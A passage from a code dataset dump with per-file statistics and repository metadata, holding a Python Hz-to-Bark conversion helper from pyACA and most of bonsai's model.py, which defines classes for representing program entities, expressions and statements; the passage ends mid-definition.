| 15.833333
| 0.631526
| 0.291729
| 0
| 0.171429
| 0
| 0
| 0.052443
| 0.052443
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.057143
| 0.114286
| 0
| 0.114286
| 0.028571
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc403c27d1d4da0e66a446351a2e2650278bc62d
| 1,527
|
py
|
Python
|
pyACA/ToolFreq2Bark.py
|
ruohoruotsi/pyACA
|
339e9395b65a217aa5965638af941b32d5c95454
|
[
"MIT"
] | 81
|
2019-07-08T15:48:03.000Z
|
2022-03-21T22:52:25.000Z
|
pyACA/ToolFreq2Bark.py
|
ruohoruotsi/pyACA
|
339e9395b65a217aa5965638af941b32d5c95454
|
[
"MIT"
] | 24
|
2019-10-03T19:20:18.000Z
|
2022-02-28T17:20:40.000Z
|
pyACA/ToolFreq2Bark.py
|
ruohoruotsi/pyACA
|
339e9395b65a217aa5965638af941b32d5c95454
|
[
"MIT"
] | 26
|
2019-07-18T23:50:52.000Z
|
2022-03-10T14:59:35.000Z
|
# -*- coding: utf-8 -*-
"""
helper function: convert Hz to Bark scale
Args:
fInHz: The frequency to be converted, can be scalar or vector
cModel: The name of the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller')
Returns:
Bark values of the input dimension
"""
import numpy as np
import math
def ToolFreq2Bark(fInHz, cModel = 'Schroeder'):
def acaSchroeder_scalar(f):
return 7 * math.asinh(f/650)
def acaTerhardt_scalar(f):
return 13.3 * math.atan(0.75 * f/1000)
def acaZwicker_scalar(f):
return 13 * math.atan(0.76 * f/1000) + 3.5 * math.atan(f/7500)
def acaTraunmuller_scalar(f):
return 26.81/(1+1960./f) - 0.53
f = np.asarray(fInHz)
if f.ndim == 0:
if cModel == 'Terhardt':
return acaTerhardt_scalar(f)
elif cModel == 'Zwicker':
return acaZwicker_scalar(f)
elif cModel == 'Traunmuller':
return acaTraunmuller_scalar(f)
else:
return acaSchroeder_scalar(f)
fBark = np.zeros(f.shape)
if cModel == 'Terhardt':
for k,fi in enumerate(f):
fBark[k] = acaTerhardt_scalar(fi)
elif cModel == 'Zwicker':
for k,fi in enumerate(f):
fBark[k] = acaZwicker_scalar(fi)
elif cModel == 'Traunmuller':
for k,fi in enumerate(f):
fBark[k] = acaTraunmuller_scalar(fi)
else:
for k,fi in enumerate(f):
fBark[k] = acaSchroeder_scalar(fi)
return (fBark)
| 28.811321
| 95
| 0.591356
| 199
| 1,527
| 4.477387
| 0.38191
| 0.062851
| 0.058361
| 0.035915
| 0.107744
| 0.107744
| 0.107744
| 0.107744
| 0
| 0
| 0
| 0.040553
| 0.289456
| 1,527
| 52
| 96
| 29.365385
| 0.780645
| 0.18795
| 0
| 0.342857
| 0
| 0
| 0.049513
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0
| 0.057143
| 0.114286
| 0.457143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 1
|
fc43b75bb4a6cda564bcd320da8b77c8174105e4
| 58,644
|
py
|
Python
|
bonsai/model.py
|
ipa-mirb/bonsai
|
cb73317cdf779566f7c496fc39546c9c689aa09c
|
[
"MIT"
] | null | null | null |
bonsai/model.py
|
ipa-mirb/bonsai
|
cb73317cdf779566f7c496fc39546c9c689aa09c
|
[
"MIT"
] | null | null | null |
bonsai/model.py
|
ipa-mirb/bonsai
|
cb73317cdf779566f7c496fc39546c9c689aa09c
|
[
"MIT"
] | null | null | null |
#Copyright (c) 2017 Andre Santos
#
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:
#The above copyright notice and this permission notice shall be included in
#all copies or substantial portions of the Software.
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
#THE SOFTWARE.
###############################################################################
# Language Model
###############################################################################
class CodeEntity(object):
"""Base class for all programming entities.
All code objects have a file name, a line number, a column number,
a programming scope (e.g. the function or code block they belong to)
and a parent object that should have some variable or collection
holding this object.
"""
def __init__(self, scope, parent):
"""Base constructor for code objects.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
self.scope = scope
self.parent = parent
self.file = None
self.line = None
self.column = None
def walk_preorder(self):
"""Iterates the program tree starting from this object, going down."""
yield self
for child in self._children():
for descendant in child.walk_preorder():
yield descendant
def filter(self, cls, recursive=False):
"""Retrieves all descendants (including self) that are instances
of a given class.
Args:
cls (class): The class to use as a filter.
Kwargs:
recursive (bool): Whether to descend recursively down the tree.
"""
source = self.walk_preorder if recursive else self._children
return [
codeobj
for codeobj in source()
if isinstance(codeobj, cls)
]
def _afterpass(self):
"""Finalizes the construction of a code entity."""
pass
def _validity_check(self):
"""Check whether this object is a valid construct."""
return True
def _children(self):
"""Yield all direct children of this object."""
# The default implementation has no children, and thus should return
# an empty iterator.
return iter(())
def _lookup_parent(self, cls):
"""Lookup a transitive parent object that is an instance
of a given class."""
codeobj = self.parent
while codeobj is not None and not isinstance(codeobj, cls):
codeobj = codeobj.parent
return codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return (' ' * indent) + self.__str__()
def ast_str(self, indent=0):
"""Return a minimal string to print a tree-like structure.
Kwargs:
indent (int): The number of indentation levels.
"""
line = self.line or 0
col = self.column or 0
name = type(self).__name__
spell = getattr(self, 'name', '[no spelling]')
result = ' ({})'.format(self.result) if hasattr(self, 'result') else ''
prefix = indent * '| '
return '{}[{}:{}] {}{}: {}'.format(prefix, line, col,
name, result, spell)
def __str__(self):
"""Return a string representation of this object."""
return self.__repr__()
def __repr__(self):
"""Return a string representation of this object."""
return '[unknown]'
class CodeStatementGroup(object):
"""This class is meant to provide common utility methods for
objects that group multiple program statements together
(e.g. functions, code blocks).
It is not meant to be instantiated directly, only used for
inheritance purposes.
It defines the length of a statement group, and provides methods
for integer-based indexing of program statements (as if using a list).
"""
def statement(self, i):
"""Return the *i*-th statement from the object's `body`."""
return self.body.statement(i)
def statement_after(self, i):
"""Return the statement after the *i*-th one, or `None`."""
try:
return self.statement(i + 1)
except IndexError as e:
return None
def __getitem__(self, i):
"""Return the *i*-th statement from the object's `body`."""
return self.statement(i)
def __len__(self):
"""Return the length of the statement group."""
return len(self.body)
# ----- Common Entities -------------------------------------------------------
class CodeVariable(CodeEntity):
"""This class represents a program variable.
A variable typically has a name, a type (`result`) and a value
(or `None` for variables without a value or when the value is unknown).
Additionally, a variable has an `id` which uniquely identifies it in
the program (useful to resolve references), a list of references to it
and a list of statements that write new values to the variable.
If the variable is a *member*/*field*/*attribute* of an object,
`member_of` should contain a reference to such object, instead of `None`.
"""
def __init__(self, scope, parent, id, name, result):
"""Constructor for variables.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
id: An unique identifier for this variable.
name (str): The name of the variable in the program.
result (str): The type of the variable in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.id = id
self.name = name
self.result = result
self.value = None
self.member_of = None
self.references = []
self.writes = []
@property
def is_definition(self):
return True
@property
def is_local(self):
"""Whether this is a local variable.
In general, a variable is *local* if its containing scope is a
statement (e.g. a block), or a function, given that the variable
is not one of the function's parameters.
"""
return (isinstance(self.scope, CodeStatement)
or (isinstance(self.scope, CodeFunction)
and self not in self.scope.parameters))
@property
def is_global(self):
"""Whether this is a global variable.
In general, a variable is *global* if it is declared directly under
the program's global scope or a namespace.
"""
return isinstance(self.scope, (CodeGlobalScope, CodeNamespace))
@property
def is_parameter(self):
"""Whether this is a function parameter."""
return (isinstance(self.scope, CodeFunction)
and self in self.scope.parameters)
@property
def is_member(self):
"""Whether this is a member/attribute of a class or object."""
return isinstance(self.scope, CodeClass)
def _add(self, codeobj):
"""Add a child (value) to this object."""
assert isinstance(codeobj, CodeExpression.TYPES)
self.value = codeobj
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.value, CodeEntity):
yield self.value
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return '{}{} {} = {}'.format(' ' * indent, self.result, self.name,
pretty_str(self.value))
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {} = ({})'.format(self.result, self.name, self.value)
class CodeFunction(CodeEntity, CodeStatementGroup):
"""This class represents a program function.
A function typically has a name, a return type (`result`), a list
of parameters and a body (a code block). It also has an unique `id`
that identifies it in the program and a list of references to it.
If a function is a method of some class, its `member_of` should be
set to the corresponding class.
"""
def __init__(self, scope, parent, id, name, result, definition=True):
"""Constructor for functions.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
id: An unique identifier for this function.
name (str): The name of the function in the program.
result (str): The return type of the function in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.id = id
self.name = name
self.result = result
self.parameters = []
self.body = CodeBlock(self, self, explicit=True)
self.member_of = None
self.references = []
self._definition = self if definition else None
@property
def is_definition(self):
"""Whether this is a function definition or just a declaration."""
return self._definition is self
@property
def is_constructor(self):
"""Whether this function is a class constructor."""
return self.member_of is not None
def _add(self, codeobj):
"""Add a child (statement) to this object."""
assert isinstance(codeobj, (CodeStatement, CodeExpression))
self.body._add(codeobj)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.parameters:
yield codeobj
for codeobj in self.body._children():
yield codeobj
def _afterpass(self):
"""Assign a function-local index to each child object and register
write operations to variables.
This should only be called after the object is fully built.
"""
if hasattr(self, '_fi'):
return
fi = 0
for codeobj in self.walk_preorder():
codeobj._fi = fi
fi += 1
if isinstance(codeobj, CodeOperator) and codeobj.is_assignment:
if codeobj.arguments and isinstance(codeobj.arguments[0],
CodeReference):
var = codeobj.arguments[0].reference
if isinstance(var, CodeVariable):
var.writes.append(codeobj)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
params = ', '.join(map(lambda p: p.result + ' ' + p.name,
self.parameters))
if self.is_constructor:
pretty = '{}{}({}):\n'.format(spaces, self.name, params)
else:
pretty = '{}{} {}({}):\n'.format(spaces, self.result,
self.name, params)
if self._definition is not self:
pretty += spaces + ' [declaration]'
else:
pretty += self.body.pretty_str(indent + 2)
return pretty
def __repr__(self):
"""Return a string representation of this object."""
params = ', '.join(map(str, self.parameters))
return '[{}] {}({})'.format(self.result, self.name, params)
class CodeClass(CodeEntity):
"""This class represents a program class for object-oriented languages.
A class typically has a name, an unique `id`, a list of
members (variables, functions), a list of superclasses, and a list of
references.
If a class is defined within another class (inner class), it should
have its `member_of` set to the corresponding class.
"""
def __init__(self, scope, parent, id_, name, definition=True):
"""Constructor for classes.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
id: An unique identifier for this class.
name (str): The name of the class in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.id = id_
self.name = name
self.members = []
self.superclasses = []
self.member_of = None
self.references = []
self._definition = self if definition else None
@property
def is_definition(self):
"""Whether this is a definition or a declaration of the class."""
return self._definition is self
def _add(self, codeobj):
"""Add a child (function, variable, class) to this object."""
assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass))
self.members.append(codeobj)
codeobj.member_of = self
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.members:
yield codeobj
def _afterpass(self):
"""Assign the `member_of` of child members and call
their `_afterpass()`.
This should only be called after the object is fully built.
"""
for codeobj in self.members:
if not codeobj.is_definition:
if not codeobj._definition is None:
codeobj._definition.member_of = self
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = spaces + 'class ' + self.name
if self.superclasses:
superclasses = ', '.join(self.superclasses)
pretty += '(' + superclasses + ')'
pretty += ':\n'
if self.members:
pretty += '\n\n'.join(
c.pretty_str(indent + 2)
for c in self.members
)
else:
pretty += spaces + ' [declaration]'
return pretty
def __repr__(self):
"""Return a string representation of this object."""
return '[class {}]'.format(self.name)
class CodeNamespace(CodeEntity):
"""This class represents a program namespace.
A namespace is a concept that is explicit in languages such as C++,
but less explicit in many others. In Python, the closest thing should
be a module. In Java, it may be the same as a class, or non-existent.
A namespace typically has a name and a list of children objects
(variables, functions or classes).
"""
def __init__(self, scope, parent, name):
"""Constructor for namespaces.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the namespace in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.name = name
self.children = []
def _add(self, codeobj):
"""Add a child (namespace, function, variable, class) to this object."""
assert isinstance(codeobj, (CodeNamespace, CodeClass,
CodeFunction, CodeVariable))
self.children.append(codeobj)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.children:
yield codeobj
def _afterpass(self):
"""Call the `_afterpass()` of child objects.
This should only be called after the object is fully built.
"""
for codeobj in self.children:
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = '{}namespace {}:\n'.format(spaces, self.name)
pretty += '\n\n'.join(c.pretty_str(indent + 2) for c in self.children)
return pretty
def __repr__(self):
"""Return a string representation of this object."""
return '[namespace {}]'.format(self.name)
class CodeGlobalScope(CodeEntity):
"""This class represents the global scope of a program.
The global scope is the root object of a program. If there are no
better candidates, it is the `scope` and `parent` of all other objects.
It is also the only object that does not have a `scope` or `parent`.
"""
def __init__(self):
"""Constructor for global scope objects."""
CodeEntity.__init__(self, None, None)
self.children = []
def _add(self, codeobj):
"""Add a child (namespace, function, variable, class) to this object."""
assert isinstance(codeobj, (CodeNamespace, CodeClass,
CodeFunction, CodeVariable))
self.children.append(codeobj)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.children:
yield codeobj
def _afterpass(self):
"""Call the `_afterpass()` of child objects.
This should only be called after the object is fully built.
"""
for codeobj in self.children:
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return '\n\n'.join(
codeobj.pretty_str(indent=indent)
for codeobj in self.children
)
# ----- Expression Entities ---------------------------------------------------
class CodeExpression(CodeEntity):
"""Base class for expressions within a program.
Expressions can be of many types, including literal values,
operators, references and function calls. This class is meant
to be inherited from, and not instantiated directly.
An expression typically has a name (e.g. the name of the function
in a function call) and a type (`result`). Also, an expression should
indicate whether it is enclosed in parentheses.
"""
def __init__(self, scope, parent, name, result, paren=False):
"""Constructor for expressions.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the expression in the program.
result (str): The return type of the expression in the program.
Kwargs:
paren (bool): Whether the expression is enclosed in parentheses.
"""
CodeEntity.__init__(self, scope, parent)
self.name = name
self.result = result
self.parenthesis = paren
@property
def function(self):
"""The function where this expression occurs."""
return self._lookup_parent(CodeFunction)
@property
def statement(self):
"""The statement where this expression occurs."""
return self._lookup_parent(CodeStatement)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
if self.parenthesis:
return (' ' * indent) + '(' + self.name + ')'
return (' ' * indent) + self.name
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {}'.format(self.result, self.name)
class SomeValue(CodeExpression):
"""This class represents an unknown value for diverse primitive types."""
def __init__(self, result):
"""Constructor for unknown values."""
CodeExpression.__init__(self, None, None, result, result)
def _children(self):
"""Yield all the children of this object, that is no children."""
return iter(())
SomeValue.INTEGER = SomeValue("int")
SomeValue.FLOATING = SomeValue("float")
SomeValue.CHARACTER = SomeValue("char")
SomeValue.STRING = SomeValue("string")
SomeValue.BOOL = SomeValue("bool")
class CodeLiteral(CodeExpression):
"""Base class for literal types not present in Python.
This class is meant to represent a literal whose type is not numeric,
string or boolean, as bare Python literals are used for those.
A literal has a value (e.g. a list `[1, 2, 3]`) and a type (`result`),
and could be enclosed in parentheses. It does not have a name.
"""
def __init__(self, scope, parent, value, result, paren=False):
"""Constructor for literals.
As literals have no name, a constant string is used instead.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
value (CodeExpression|CodeExpression[]): This literal's value.
result (str): The return type of the literal in the program.
Kwargs:
paren (bool): Whether the literal is enclosed in parentheses.
"""
CodeExpression.__init__(self, scope, parent, 'literal', result, paren)
self.value = value
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
if self.parenthesis:
return '{}({})'.format(' ' * indent, pretty_str(self.value))
return pretty_str(self.value, indent=indent)
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {!r}'.format(self.result, self.value)
CodeExpression.TYPES = (int, long, float, bool, basestring, SomeValue,
CodeLiteral, CodeExpression)
CodeExpression.LITERALS = (int, long, float, bool, basestring, CodeLiteral)
class CodeNull(CodeLiteral):
"""This class represents an indefinite value.
Many programming languages have their own version of this concept:
Java has null references, C/C++ NULL pointers, Python None and so on.
"""
def __init__(self, scope, parent, paren=False):
"""Constructor for null literals.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
Kwargs:
paren (bool): Whether the null literal is enclosed in parentheses.
"""
CodeLiteral.__init__(self, scope, parent, None, 'null', paren)
def _children(self):
"""Yield all the children of this object, that is no children.
This class inherits from CodeLiteral just for consistency with the
class hierarchy. It should have no children, thus an empty iterator
is returned.
"""
return iter(())
class CodeCompositeLiteral(CodeLiteral):
"""This class represents a composite literal.
A composite literal is any type of literal whose value is compound,
rather than simple. An example present in many programming languages
are list literals, often constructed as `[1, 2, 3]`.
A composite literal has a sequence of values that compose it
(`values`), a type (`result`), and it should indicate whether it is
enclosed in parentheses.
"""
def __init__(self, scope, parent, result, value=(), paren=False):
"""Constructor for a compound literal.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
value (iterable): The initial value sequence in this composition.
result (str): The return type of the literal in the program.
Kwargs:
paren (bool): Whether the literal is enclosed in parentheses.
"""
try:
value = list(value)
except TypeError as te:
raise AssertionError(str(te))
CodeLiteral.__init__(self, scope, parent, value, result, paren)
@property
def values(self):
return tuple(self.value)
def _add_value(self, child):
"""Add a value to the sequence in this composition."""
self.value.append(child)
def _children(self):
"""Yield all direct children of this object."""
for value in self.value:
if isinstance(value, CodeEntity):
yield value
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
values = '{{{}}}'.format(', '.join(map(pretty_str, self.value)))
if self.parenthesis:
return '{}({})'.format(indent, values)
return '{}{}'.format(indent, values)
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {{{}}}'.format(self.result,
', '.join(map(repr, self.value)))
class CodeReference(CodeExpression):
"""This class represents a reference expression (e.g. to a variable).
A reference typically has a name (of what it is referencing),
and a return type.
If the referenced entity is known, `reference` should be set.
If the reference is a field/attribute of an object, `field_of`
should be set to that object.
"""
def __init__(self, scope, parent, name, result, paren=False):
"""Constructor for references.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the reference in the program.
result (str): The return type of the expression in the program.
Kwargs:
paren (bool): Whether the reference is enclosed in parentheses.
"""
CodeExpression.__init__(self, scope, parent, name, result, paren)
self.field_of = None
self.reference = None
def _set_field(self, codeobj):
"""Set the object that contains the attribute this is a reference of."""
assert isinstance(codeobj, CodeExpression)
self.field_of = codeobj
def _children(self):
"""Yield all direct children of this object."""
if self.field_of:
yield self.field_of
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = '{}({})' if self.parenthesis else '{}{}'
name = ('{}.{}'.format(self.field_of.pretty_str(), self.name)
if self.field_of else self.name)
return pretty.format(spaces, name)
def __str__(self):
"""Return a string representation of this object."""
return '#' + self.name
def __repr__(self):
"""Return a string representation of this object."""
if self.field_of:
return '[{}] ({}).{}'.format(self.result, self.field_of, self.name)
return '[{}] #{}'.format(self.result, self.name)
class CodeOperator(CodeExpression):
"""This class represents an operator expression (e.g. `a + b`).
Operators can be unary or binary, and often return numbers
or booleans. Some languages also support ternary operators.
Do note that assignments are often considered expressions,
and, as such, assignment operators are included here.
An operator typically has a name (its token), a return type,
and a tuple of its arguments.
"""
_UNARY_TOKENS = ("+", "-")
_BINARY_TOKENS = ("+", "-", "*", "/", "%", "<", ">", "<=", ">=",
"==", "!=", "&&", "||", "=")
def __init__(self, scope, parent, name, result, args=None, paren=False):
"""Constructor for operators.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the operator in the program.
result (str): The return type of the operator in the program.
Kwargs:
args (tuple): Initial tuple of arguments.
paren (bool): Whether the expression is enclosed in parentheses.
"""
CodeExpression.__init__(self, scope, parent, name, result, paren)
self.arguments = args or ()
@property
def is_unary(self):
"""Whether this is a unary operator."""
return len(self.arguments) == 1
@property
def is_binary(self):
"""Whether this is a binary operator."""
return len(self.arguments) == 2
@property
def is_ternary(self):
"""Whether this is a ternary operator."""
return len(self.arguments) == 3
@property
def is_assignment(self):
"""Whether this is an assignment operator."""
return self.name == "="
def _add(self, codeobj):
"""Add a child (argument) to this object."""
assert isinstance(codeobj, CodeExpression.TYPES)
self.arguments = self.arguments + (codeobj,)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.arguments:
if isinstance(codeobj, CodeExpression):
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
pretty = '{}({})' if self.parenthesis else '{}{}'
if self.is_unary:
operator = self.name + pretty_str(self.arguments[0])
else:
operator = '{} {} {}'.format(pretty_str(self.arguments[0]),
self.name,
pretty_str(self.arguments[1]))
return pretty.format(indent, operator)
def __repr__(self):
"""Return a string representation of this object."""
if self.is_unary:
return '[{}] {}({})'.format(self.result, self.name,
self.arguments[0])
if self.is_binary:
return '[{}] ({}){}({})'.format(self.result, self.arguments[0],
self.name, self.arguments[1])
return '[{}] {}'.format(self.result, self.name)
class CodeFunctionCall(CodeExpression):
"""This class represents a function call.
A function call typically has a name (of the called function),
a return type, a tuple of its arguments and a reference to the
called function.
If a call references a class method, its `method_of` should be
set to the object on which a method is being called.
"""
def __init__(self, scope, parent, name, result, paren=False):
"""Constructor for function calls.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the function in the program.
result (str): The return type of the expression in the program.
Kwargs:
paren (bool): Whether the expression is enclosed in parentheses.
"""
CodeExpression.__init__(self, scope, parent, name, result, paren)
self.full_name = name
self.arguments = ()
self.method_of = None
self.reference = None
@property
def is_constructor(self):
"""Whether the called function is a constructor."""
return self.result == self.name
def _add(self, codeobj):
"""Add a child (argument) to this object."""
assert isinstance(codeobj, CodeExpression.TYPES)
self.arguments = self.arguments + (codeobj,)
def _set_method(self, codeobj):
"""Set the object on which a method is called."""
assert isinstance(codeobj, CodeExpression)
self.method_of = codeobj
def _children(self):
"""Yield all direct children of this object."""
if self.method_of:
yield self.method_of
for codeobj in self.arguments:
if isinstance(codeobj, CodeExpression):
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
pretty = '{}({})' if self.parenthesis else '{}{}'
args = ', '.join(map(pretty_str, self.arguments))
if self.method_of:
call = '{}.{}({})'.format(self.method_of.pretty_str(),
self.name, args)
elif self.is_constructor:
call = 'new {}({})'.format(self.name, args)
else:
call = '{}({})'.format(self.name, args)
return pretty.format(indent, call)
def __repr__(self):
"""Return a string representation of this object."""
args = ', '.join(map(str, self.arguments))
if self.is_constructor:
return '[{}] new {}({})'.format(self.result, self.name, args)
if self.method_of:
return '[{}] {}.{}({})'.format(self.result, self.method_of.name,
self.name, args)
return '[{}] {}({})'.format(self.result, self.name, args)
class CodeDefaultArgument(CodeExpression):
"""This class represents a default argument.
Some languages, such as C++, allow function parameters to have
default values when not explicitly provided by the programmer.
This class represents such omitted arguments.
A default argument has only a return type.
"""
def __init__(self, scope, parent, result):
"""Constructor for default arguments.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
result (str): The return type of the argument in the program.
"""
CodeExpression.__init__(self, scope, parent, '(default)', result)
# ----- Statement Entities ----------------------------------------------------
class CodeStatement(CodeEntity):
"""Base class for program statements.
Programming languages often define diverse types of statements
(e.g. return statements, control flow, etc.).
This class provides common functionality for such statements.
In many languages, statements must be contained within a function.
An operator typically has a name (its token), a return type,
and a tuple of its arguments.
"""
def __init__(self, scope, parent):
"""Constructor for statements.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeEntity.__init__(self, scope, parent)
self._si = -1
@property
def function(self):
"""The function where this statement appears in."""
return self._lookup_parent(CodeFunction)
class CodeJumpStatement(CodeStatement):
"""This class represents a jump statement (e.g. `return`, `break`).
A jump statement has a name. In some cases, it may also have an
associated value (e.g. `return 0`).
"""
def __init__(self, scope, parent, name):
"""Constructor for jump statements.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the statement in the program.
"""
CodeStatement.__init__(self, scope, parent)
self.name = name
self.value = None
def _add(self, codeobj):
"""Add a child (value) to this object."""
assert isinstance(codeobj, CodeExpression.TYPES)
self.value = codeobj
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.value, CodeExpression):
yield self.value
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
if self.value is not None:
return '{}{} {}'.format(indent, self.name, pretty_str(self.value))
return indent + self.name
def __repr__(self):
"""Return a string representation of this object."""
if self.value is not None:
return '{} {}'.format(self.name, str(self.value))
return self.name
class CodeExpressionStatement(CodeStatement):
"""This class represents an expression statement. It is only a wrapper.
Many programming languages allow expressions to be statements
on their own. A common example is the assignment operator, which
can be a statement on its own, but also returns a value when
contained within a larger expression.
"""
def __init__(self, scope, parent, expression=None):
"""Constructor for expression statements.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
Kwargs:
expression (CodeExpression): The expression of this statement.
"""
CodeStatement.__init__(self, scope, parent)
self.expression = expression
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.expression, CodeExpression):
yield self.expression
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return pretty_str(self.expression, indent=indent)
def __repr__(self):
"""Return a string representation of this object."""
return repr(self.expression)
class CodeBlock(CodeStatement, CodeStatementGroup):
"""This class represents a code block (e.g. `{}` in C, C++, Java, etc.).
Blocks are little more than collections of statements, while being
considered a statement themselves.
Some languages allow blocks to be implicit in some contexts, e.g.
an `if` statement omitting curly braces in C, C++, Java, etc.
This model assumes that control flow branches and functions always
have a block as their body.
"""
def __init__(self, scope, parent, explicit=True):
"""Constructor for code blocks.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
Kwargs:
explicit (bool): Whether the block is explicit in the code.
"""
CodeStatement.__init__(self, scope, parent)
self.body = []
self.explicit = explicit
def statement(self, i):
"""Return the *i*-th statement of this block."""
return self.body[i]
def _add(self, codeobj):
"""Add a child (statement) to this object."""
assert isinstance(codeobj, CodeStatement)
codeobj._si = len(self.body)
self.body.append(codeobj)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.body:
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
if self.body:
return '\n'.join(stmt.pretty_str(indent) for stmt in self.body)
else:
return (' ' * indent) + '[empty]'
def __repr__(self):
"""Return a string representation of this object."""
return str(self.body)
class CodeDeclaration(CodeStatement):
"""This class represents a declaration statement.
Some languages, such as C, C++ or Java, consider this special
kind of statement for declaring variables within a function,
for instance.
A declaration statement contains a list of all declared variables.
"""
def __init__(self, scope, parent):
